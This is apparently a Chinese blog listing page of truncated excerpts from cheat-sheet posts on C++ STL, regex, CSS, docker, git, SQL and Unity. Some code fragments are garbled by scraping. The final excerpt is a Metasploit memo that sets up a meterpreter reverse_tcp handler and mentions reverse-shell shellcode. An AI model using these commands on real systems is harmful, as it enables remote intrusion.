竞赛常用STL备忘录

__builtin: __builtin_popcount:二进制中 1 的个数__builtin_ctz:末尾的 0,即对 lowbit 取log__builtin_clz:开头的 0,用 31 减可以得到下取整的 log 复杂度O(1)如果是 long long,函数名末尾加 ll,31 改成 63. random_shuffle next_permutation…

全排列函数next_permutation STL 中专门用于排列的函数(可以处理存在重复数据集的排列问题) 头文件:#include <algorithm> using namespace std; 调用: next_permutation(start, end); 注意:函数要求输入的是一个升序排列的序列的头指针和尾指针. 用法: // 数组 int a[N]; sort(a, a+N); next_permutation(a, a+N); // 向量 vector<int>…

ACM竞赛常用STL（二）之STL--algorithm

<algorithm>无疑是STL 中最大的一个头文件,它是由一大堆模板函数组成的.下面列举出<algorithm>中的模板函数: adjacent_find / binary_search / copy / copy_backward / count/ count_if / equal / equal_range / fill / fill_n / find /find_end / find_first_of / find_if / for_each / generate /ge…

JS常用正则表达式备忘录

摘要: 玩转正则表达式. 原文:JS常用正则表达式备忘录作者:前端小智 Fundebug经授权转载,版权归原作者所有. 正则表达式或"regex"用于匹配字符串的各个部分下面是我创建正则表达式的备忘单. 匹配正则使用 .test() 方法 let testString = "My test string"; let testRegex = /string/; testRegex.test(testString); 匹配多个模式使用操作符号 | const r…

C++常用STL

目录 C++ 常用STL整理容器和配接器 list(链表) stack(栈) queue(队列) priority_queue(优先队列) set(集合) vector(向量) map&&pair(关联) 常用算法 #include<algorthm> 算是一个为了课程内容服务的记录,关于算法和数据结构的内容,原本想着网上搜罗搜罗就能找到相对应的,干脆自己做个简略的个人记录.将学过的没学过的做个稍微的整理. C++ 常用STL整理容器和配接器 list(链表) list可以…

常用STL使用指北

常用STL使用指北 set和multiset set和multiset都是基于红黑树(显然是一个二叉搜索树)的STL. 定义我们可以使用(multi)set<元素类型>名称来定义一个(multi)set. 自定义排序默认排序方式都是从小到大.因为结构体之间没有定义<,所以我们需要自定义一个比较函数. 如果元素不是结构体: //自定义比较函数myComp,重载"()"操作符 struct myComp { bool operator()(const int &…

C/C++解题常用STL大礼包含vector，map，set，queue（含优先队列），stack的常用用法

每次忘记都去查,真难啊 /* C/C++解题常用STL大礼包含vector,map,set,queue(含优先队列) ,stack的常用用法 */ /* vector常用用法 */ //头文件 #include<vector> //常用的初始化方法 vector<int> v; //直接定义一个整型元素的向量且未声明长度,其中int的位置可以换成别的数据类型或者结构体等 vector<); //定义了10个整型元素的向量,其中每一个数都没有初值 vector<, )…

常用stl(c++)

众所周知,c++的模板库是相当强大的. 下面我来列举一些常用的,(神奇的) //部分材料选自<算法竞赛入门经典(第2版)>(刘汝佳) 一,algorithm (算法) min(a,b)-----------取最小值 max(a,b)-----------取最大值 //当然在实际应用当中可能无法直接使用,这时候我们需要自己编写函数例: #include<iostream> #include<cstdio> using namespace std; struct node…

【pat】C++之刷题常用STL容器整理

1.vector 动态数组,方便的动态扩容,方便的变量初始化(int类型默认初始化为0,bool默认初始化为false),可以用来实现邻接表(结点数太多的图). 头文件 #include<vector> using namespace std; 定义 //typename 可以是基本数据类型,可以是其它标准stl容器,可以是自定义结构体 vector<typename> name; vector<int> v1; vector<vector<int>…

c++算法竞赛常用板子集合（持续更新）

前言本文主要包含算法竞赛一些常用的板子,码风可能不是太好,还请见谅. 后续会继续补充没有的板子.当然我太菜了有些可能写不出来T^T 稍微有些分类但不多,原谅我QwQ 建议 Ctrl + F 以快速查找板子. 常用板子树状数组此处为查询区间和的树状数组. int bit[500010]; void add(int k, int x) { while (k <= n) { bit[k] += x; k += lowbit(k); } } int ask(int k) { int res = 0…

css+div常用属性备忘录

学习软件设计有一年多了,明年五月就要毕业了.回头看看发现自己其实挺差劲的. 最近开通了博客所以就整理了一下笔记,在这里发布一下自己以前学习css时总是记不住去翻书又很常用的属性,都是一些很基础的. 大神轻喷.很适合初学者多看看,只做了一点微小的工作 :) 2333 css 通配符选择符 *{} 标签选择符 p{} ID选择符 #ID{} 类选择符 .class{} 包含选择符 p a{} p中的a标签分组选择符 p,div{} p标签和div标签 display 规定元素框类型 block块级…

Netstat 常用命令--备忘录

Netstat 用于显示与IP .TCP .UDP 和ICMP 协议相关的统计数据,一般用于检验本机各端口的网络连接情况. 常用参数 -a (all)显示所有选项,默认不显示LISTEN相关-t (tcp)仅显示tcp相关选项-u (udp)仅显示udp相关选项-n 拒绝显示别名,能显示数字的全部转化成数字.-l 仅列出有在 Listen (监听) 的服務状态 -p 显示建立相关链接的程序名-r 显示路由信息,路由表-e 显示扩展信息,例如uid等-s 按各个协议进行统计-c 每隔一个固定时间,…

CSS HTML 常用属性备忘录

学习软件设计有一年多了,明年五月就要毕业了.回头看看发现自己其实挺差劲的. 最近开通了博客所以就整理了一下笔记,在这里发布一下自己以前学习css时总是记不住去翻书又很常用的属性,都是一些很基础的. 大神轻喷.很适合初学者多看看,只做了一点微小的工作 :) 2333 2018.3.18 出来工作差不多快够一年了.唉. css 通配符选择符 *{} 标签选择符 p{} ID选择符 #ID{} 类选择符 .class{} 包含选择符 p a{} p中的a标签分组选择符 p,div{} p标签和di…

sqlserver常用知识点备忘录（持续更新）

背景一个项目的开发,离不开数据库的相关操作,表/视图设计,存储过程,触发器等等数据库对象的操作是非常频繁的.有时候,我们会查找系统中类似的代码,然后复制/粘贴进行再进行相应的修改.本文的目的在于归纳.总结sqlserver数据库的常用操作,并不断更新.期以备忘! P1 sql的执行顺序 sql语句是操作数据库的工具,了解sql的执行顺序会极大地帮助我们提高我们编写的sql的执行效率.见以下代码: ()))<Top Num> <select list> ()FROM [left_t…

ACM常用STL容器

// STL(标准模板库),由三大部分组成:容器,算法,迭代器 // STL六大组件:container(容器),algorthm(算法),iterator(迭代器) // function object(仿函数),adaptor(适配器),allocator(空间适配器) // STL容器 // vector // deque(双端数组) // stack // queue // list(链表模型) // priotry_queue优先级队列 // set // multiset // ma…

常用STL的常见用法

//#pragma comment(linker, "/STACK:1024000000,1024000000") //#pragma GCC optimize(2) //#include <bits/stdc++.h> #include<unordered_map> #include<unordered_set> #include <algorithm> #include <iostream> #include<fst…

docker 常用命令备忘录

基础命令 docker version docker info docker --help 镜像命令查看 docker images 其中: REPOSITORY:表示镜像的仓库源 TAG:镜像的标签(默认的版本标签为 latest,拉镜像时可以指定 TAG) IMAGE ID:镜像ID CREATED:镜像创建时间 SIZE:镜像大小命令的选项有: -a:列出本地所有的镜像 -q:只显示镜像 ID --digests:显示镜像的摘要信息 --no-trunc:显示完整的镜像信息其…

【MYSQL】常用命令备忘录

source 不接路径时,查找文件的路径是执行mysql命令时的路径接路径时,使用路径+filename [root@wordpressserver mysql]# vi demo.mysql [root@wordpressserver mysql]# pwd /root/mysql [root@wordpressserver mysql]# ls -al total 12 drwxr-xr-x. 2 root root 4096 Nov 2 21:45 . dr-xr-x---. 31 ro…

mac 下常用命令备忘录

1.查看端口号 lsof -i: 2.杀死进程 kill 41321 3.查看文件夹文件 ls ls -l //看到文件及文件夹更多的内容 ls -a //隐藏的文件 ls -la //上面的组合 4.重命名 mv a.json b.json 5.复制文件 cp a.json b.json 6.删除文件或文件夹 rm a.json 7.新建文件 touch a.json or touch b.json a.json //创建多个 8.新建文件夹 mkdir a or mkdir a b c d…

ACM常用STL

转载于https://blog.csdn.net/riba2534/article/details/61929000 1. stack stack<int>st;//栈st,用于存放int型数据 st.push();//将3入栈 st.push();//将2入栈 st.pop();//栈顶2出栈 int Top = st.top();//获取栈顶元素,即3 int Size = st.size();//求栈中的元素个数 bool isEmpty = st.empty(); //栈中元素是否为…

sql常用语句备忘录随时更新

一.查询最新的一条数据 SELECT * FROM Table a WHERE NOT EXISTS (SELECT FROM Table b WHERE a.Date>b.Date) 二.查询数据含有两条以上的数据 SELECT column1 FROM dbo.Table GROUP BY column1 HAVING COUNT(column2)> 三.获取年.月.日 SELECT year(GETDATE()), month(GETDATE()), day(GETDATE())…

C++ 竞赛常用头文件

C.传统 C++ #include <assert.h> 设定插入点 #include <ctype.h> 字符处理 #include <errno.h> 定义错误码 #include <float.h> 浮点数处理 #include <fstream.h> 文件输入/输出 #include <iomanip.h> 参数化输入/输出 #include <iostream.h> 数据流输入/输出 #include <l…

ACM竞赛常用头文件模板-备忘

备忘. #include<iostream> #include<cstdio> #include<cstring> #include<algorithm> #include<bitset> #include<cassert> #include<cctype> #include<cmath> #include<cstdlib> #include<ctime> #include<deq…

git常用命令备忘录

返回未修改状态 [git checkout . --没有的提交的,都返回到原来的状态 git clean -xdf 删除文件和目录] git checkout . && git clean -xdf 帳戶設置 git config --global user.name "UserName" git config --global user.email "User@email.com" 初始化仓库 git init 查看仓库的状态 git statu…

常用SQL备忘录

联表删除: delete t1,t2 from table_name t1 left join t2 on t1.id=t2.id where t1.id=23 (ps:该语句在mysql 5.0之前的版本中不能使用别名)…

Unity常用API备忘录

UnityEditor 复制文本到剪切板 GUIUtility.systemCopyBuffer 获取资源路径 AssetDatabase.GetAssetPath 选择节点 Selection.activeObject Editor启动程序 EditorApplication.EnterPlaymode Editor退出游戏 EditorApplication.ExitPlaymode 转跳到某个对象的路径 EditorGUIUtility.PingObject 在SceneView上画GU…

MSF常用命令备忘录

msf下的命令 set session x:设置要攻击的session #监听端口反弹PHP shell use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST set LPORT run #end #windows/shell_reverse_tcp模块可创建具有meterpreter功能的各版本shellcode,比如Asp.Aspx.msi.vbs.war #使用windows/shell_re…